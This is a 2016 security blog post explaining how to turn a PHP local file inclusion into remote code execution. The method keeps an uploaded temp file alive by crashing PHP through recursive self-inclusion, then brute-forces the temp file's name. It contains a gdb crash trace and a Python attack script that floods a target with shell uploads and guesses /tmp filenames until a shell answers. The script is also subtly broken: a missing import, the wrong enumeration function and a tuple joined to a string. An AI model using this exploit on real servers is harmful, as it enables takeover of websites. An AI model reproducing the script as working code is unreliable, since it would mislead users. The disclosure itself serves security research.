Title: From LFI to RCE in php
Date: 2016-06-24 17:00

[![Stupid LFI logo, saying that Inclusion is for everyone, even PHP]({static}/images/lfi_php.jpg)](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)

Everyone knows about the (hopefully dead) `/proc/self/environ` and
`/var/log/apache2/error.log` tricks to get a shell from a
[LFI](https://en.wikipedia.org/wiki/File_inclusion_vulnerability#Local_File_Inclusion),
but it seems that only a few people knows about the `tmp_name` one.

It's better than every other techniques (that I know about),
because it doesn't require anything else than a LFI, while the others require
either access to `/proc` or to `/var/log`, a controllable string in `$_SESSION`, …

It was originally found by [Gynvael Coldwind]({static}/files/PHP_LFI_rfc1867_temporary_files.pdf)
in 2011, and later improved by [Brett Moore]({static}/files/LFI_with_phpinfo_assistance.pdf):
This article is about an improvement of those techniques.

As stated in the [documentation](https://secure.php.net/manual/en/features.file-upload.post-method.php),
when someone uploads a file in a [RFC-1867](https://tools.ietf.org/html/rfc1867) way,
*files will by default be stored in the server's default temporary directory*,
then *the file will be deleted from the temporary directory at the end of the
request if it has not been moved away or renamed.*

It would be great if we could include this temporary file with our LFI,
winning the race against its deletion, by sending a second request right after
the upload. Unfortunately, `tmp_name` is a 6 mixed-case alphanumeric characters,
powered by `mkstemp` on Linux, so it's super-unlikely that we'll get its name right in a one-shot.

If only we could find a way to prevent php from removing the file… fortunately,
php being php, it crashes with a nice `SIGSEGV` upon infinite recursive
inclusion, thus not removing the tempfile!

So the file :

```php
<?php
include 'test.php';
```

Will result in:

```nasm
$ gdb -q =php
Reading symbols from /usr/bin/php...(no debugging symbols found)...done.
(gdb) r -f test.php
Starting program: /usr/bin/php -f test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00005555557deb60 in ?? ()
(gdb) bt 24
#0  0x00005555557deb60 in ?? ()
#1  0x00005555557dfd31 in virtual_file_ex ()
#2  0x00005555557e120f in tsrm_realpath ()
#3  0x000055555575751e in php_resolve_path ()
#4  0x00007fffecd6ce19 in phar_find_in_include_path () from /usr/lib/php/20151012/phar.so
#5  0x000055555576bc2e in _php_stream_open_wrapper_ex ()
#6  0x0000555555750799 in php_stream_open_for_zend_ex ()
#7  0x00005555557ce104 in zend_stream_fixup ()
#8  0x000055555577a606 in open_file_for_scanning ()
#9  0x000055555577a981 in compile_file ()
#10 0x00005555557a1682 in dtrace_compile_file ()
#11 0x00007fffecd86710 in ?? () from /usr/lib/php/20151012/phar.so
#12 0x000055555577acd3 in compile_filename ()
#13 0x00005555558412b7 in ?? ()
#14 0x00005555557f116b in execute_ex ()
#15 0x00005555557a1741 in dtrace_execute_ex ()
#16 0x00005555558413bc in ?? ()
#17 0x00005555557f116b in execute_ex ()
#18 0x00005555557a1741 in dtrace_execute_ex ()
#19 0x00005555558413bc in ?? ()
#20 0x00005555557f116b in execute_ex ()
#21 0x00005555557a1741 in dtrace_execute_ex ()
#22 0x00005555558413bc in ?? ()
#23 0x00005555557f116b in execute_ex ()
(More stack frames follow...)
```

So the plan is to:

1. Upload a file **and** trigger a self-inclusion.
2. Repeat *1* a shitload of time to:
    - increase our odds of winning the race
    - increase our guessing odds
3. Bruteforce the inclusion of `/tmp/[0-9a-zA-Z]{6}`
4. Enjoy our shell.

Something like that:

```python
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')
```

Thanks to [blotus](https://omgw.tf/) for the tips ;)
